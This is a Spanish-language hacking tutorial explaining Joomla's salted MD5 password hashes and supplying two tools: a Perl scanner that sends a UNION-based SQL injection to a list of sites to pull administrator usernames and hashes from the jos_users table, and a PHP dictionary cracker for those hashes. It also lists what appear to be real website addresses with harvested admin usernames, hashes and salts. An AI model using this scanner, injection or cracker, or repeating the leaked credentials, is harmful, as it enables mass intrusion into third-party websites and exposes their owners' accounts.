*******************************************
** TooLz y Tutorial de Hash Joomla **
** Tuto Hecho por boER **
** Remote Execution && Dios de la Red **
*******************************************
#~ Indice
./Introducción
./Explicación de Hash
./Explicación de Toolz
./Toolz
./Saludos
#~ Introducción
Buenas.. Como muchos han visto los Hash de Joomla no son MD5 comunes,
ya que Joomla usa su propio tipo de encriptación usando un «Salto» para
convinar con la pass original…
#~ Explicación de Hash
Bueno al realizar alguna inyección SQL sobre un portal Joomla nos encontraremos
seguramente con un user y pass del siguiente formato…
admin:a01205a50d8811afc74f43b3a8e2f9c0:12Gg4A1hpReg019t
Tendriamos:
User : admin
Salto : 12Gg4A1hpReg019t <– Proporcionado por Joomla
Pass Original: 123456789
Pass Original + Salto : a01205a50d8811afc74f43b3a8e2f9c0 <– Proporcionado por Joomla
Okz el algoritmo que usa Joomla seria así:
nos gusta superarnos
md5($passoriginal.$salto)
Ejemplo
md5(12345678912Gg4A1hpReg019t)
De resultado obtendriamos : a01205a50d8811afc74f43b3a8e2f9c0
Si nos fijamos en lo proporcionado a traves de la Inyeccion SQL es el mismo hash.
Si ponemos a crackear el hash que nos proporciona sera casi
imposible obtener el original…
Ojala hayan entendido el algoritmo usado, ahora explicare unas herramientas útiles que me hize.
#~ Explicación de Toolz
Les explicare dos Herramientas una en PHP y otra en Perl.
[Perl] Joomlascan -> Busca en una lista de webs las que encuentre vulnerables.
[PHP] JoomlaCracker -> Cracker con diccionarios.
./Joomlascan
tendremos un archivo con webs a escannear,
ahora tendremos que modificar la inyeccion que usaremos para las webs.
abrimos el joomlascan y buscamos la línea 20..
Por Ejemplo:
my $iny=»/index.php?option=com_restaurante&task=detail&Itemid=S @BUN&id=-1/**/union/**/select/**/1,1,1,1,concat(username,0x3a,password)/**/from/**/jos_users/*»;
Esta será la inyección que usara el scanner, una vez elijamos una solo nos queda ponerlo a andar..
perl joomlascan.pl webs.txt
y empezará a scannear las webs de la lista…
una vez terminado tendremos los hash encontrados…
./JoomlaCracker
Una vez tengamos los Hash procedemos a meterlos al cracker, podemos poner varios a crackear del siguiente modo..
en el TextArea ponemos
http://tuweb24server.com/restaurante:admin:f72cbc75089720db9d24d52e16dc44ab:2kNh6C6OORrwgofJ
http://www.portaldegranada.com:admin:45b38b8cc8dff99002ec31b7d176854f:pHPZMEZHpYJ5BZPk
http://laesperanzaesjesus.org:admin:53499f6fd16a1a8e2ffcc54819b427a3:9IPiFmmqr38NXnig
http://www.manhattanbkk.com:admin:c3dfbcff3c567f64f706dce678489899:23MgguKqxLIutIbH
http://www.de-liberar.com:admin:26d97cf1de6f6109ac3d8a5189d0a3ae:bsD8uRLZneat7Yln
http://www.de-liberar.com:Webmaster:2328d8d734b1f3dfa3f7ce48cc1e5284:wezrEftmFSEh5M6S
http://www.thinkweb.cl:admin:ce97617760f1198179776e84d1907d51:sl5B8YbdW8X8Lgav
http://tecnologiascefman.com:admin:a01205a50d8811afc74f43b3a8e2f9c0:12Gg4A1hpReg019t
http://www.arguineguin.com/web:administrador1.1:afbdcc6517035bde3981a3e193dbf9f4
http://mexiconights.com.mx:admin:f77ec8f1f717137da0ef6bde7492e9a4:HDuCngK48Sd0GZcV
y empezara a crackear..
./Toolz
joomlascan.pl
Si usan windows deben poner como comentario system(«clear»); y system(«touch websvulns.txt»);
y crear un archivo manualmente llamado websvulns.txt en el mismo directorio de la tool.
#!/usr/bin/perl
use LWP::Simple;
if(!$ARGV[0]){
usage();
}
else{
scan($ARGV[0]);
fin();
sub scan(){
system(«clear»);
my $webs=shift;
print «####################################################\n»;
print «# #\n»;
print «# Joomla Scanner Priv8 #\n»;
print «# Coded by boER #\n»;
print «# #\n»;
print «####################################################\n»;
print «\n # => Scanning Webs…\n»;
my $iny=»/index.php?option=com_restaurante&task=detail&Itemid=S @BUN&id=-99999/**/union/**/select/**/0,0,0x3a,0,0,0,0,0,0,0,0,11,12,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,4,4,4,4,concat(username,0x3a,password)/**/from/**/jos_users/*»;
if($iny =~ /concat\(username\,0x3a\,password\)/ ){
$iny=~s/concat\(username\,0x3a\,password\)/concat\(char\(60\,98\,111\,101\,114\,62\)\,username\,char\(60\,98\,111\,101\,114\,62\)\,password\,char\(60\,98\,111\,101\,114\,62\)\)/g;
}
if($iny =~ /\-\-/ ){
$iny=~s/\-\-//g;
}
if($iny =~ /concat\_ws\(0x3a\,username\,password\)/ ){
$iny=~s/concat\_ws\(0x3a\,username\,password\)/concat\(char\(60\,98\,111\,101\,114\,62\)\,username\,char\(60\,98\,111\,101\,114\,62\)\,password\,char\(60\,98\,111\,101\,114\,62\)\)/g;
}
if($iny =~ /\/\*\*\// ){
$iny=~s/\/\*\*\// /g;
}
if($iny =~ /\/\*/ ){
$iny=~s/\/\*//g;
}
system(«touch websvulns.txt»);
my $sitevulns=’websvulns.txt’;
open(WEBS,»<«,$webs)or die(«File Webs Problem :/\n»);
open(VULNS,»>>»,$sitevulns)or die(«File vulns Problem :/\n»);
foreach $webscan(<WEBS>){
chomp($webscan);
if($webscan =~ /https\:\/\// ){
$webscan=»https://$webscan»;
}else{
if($webscan !~ /http\:\/\// ){
$webscan=»http://$webscan»;
}
}
$webpath=$webscan.$iny;
$webiny=$webscan.$iny.’–‘;
$verificar=get($webiny);
if($verificar =~ /\<boer\>(.*?)\<boer\>(.*?)\<boer\>/ ){
print » OK! $webscan\n»;
print VULNS «$webscan:$1:$2\n»;
users($webpath,$webscan);
}else{
print » OFF! $webscan\n»;
}
}
}
sub users(){
$webend=shift;
$webnorm=shift;
my $sw=0;
my $conta=1;
while($sw==0){
$mmm=»$webend+where+usertype=0x53757065722041646d696e6973747261746f72+limit+$conta,1–«;
$conta++;
$result=get($mmm)or die(«Error web Limit\n»);
if($result =~ /\<boer\>(.*?)\<boer\>(.*?)\<boer\>/ ){
print VULNS «$webnorm:$1:$2\n»;
$conta++;
}else{
$sw=1;
}
}
}
sub usage(){
system(«clear»);
print «#############################################\n»;
print «# #\n»;
print «# perl xpl.pl filewebs.txt #\n»;
print «# #\n»;
print «#############################################\n»;
}
sub fin(){
$file=shift;
print » # => Scanning Finished…\n»;
print » # => Coded by boER\n»;
}
}
joomlacracker.php
<style type=»text/css»>
*{
font-family:Verdana;
font-size:11px;
color: #0066FF;
}
#fon{
background:none;
}
body {
background-color: #000000;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
</style>
<form name=»cracker» action=»» method=»POST»>
<textarea cols=»115″ rows=»15″ name=»webs» id=»fon»>
</textarea>
<br>
<input type=»submit» name=»crack» value=»CracK x.X» id=»fon»>
<br>
<br>
<?php
set_time_limit(0);
$crack=$_POST[‘crack’];
$webs=$_POST[‘webs’];
if(isset($crack)&&($crack != «»)&&(isset($webs))&&($webs != «»))
{
$web=explode(«\n»,$webs);
$dic=’1.txt’; //AQUI LOS DICCIONARIOS
$countweb=count($web);
$m=file($dic);
$sw=0;
for($c=0;$c<$countweb;$c++)
{
$webexp=explode(«:»,$web[$c]);
$hash=trim($webexp[3]);
$hop=trim($webexp[4]);
if($hop != «»){
foreach($m as $words)
{
$words=trim($words);
$ja=$words.$hop;
$mja=md5($ja);
if($mja==$hash)
{
echo ‘Hash cracked -> ‘.$words.»<br>»;
echo $webexp[0].’:’.$webexp[1].’:’.$webexp[2].’:’.$words.»<br>»;
$sw=1;
}
}
}
}
}
?>
</form>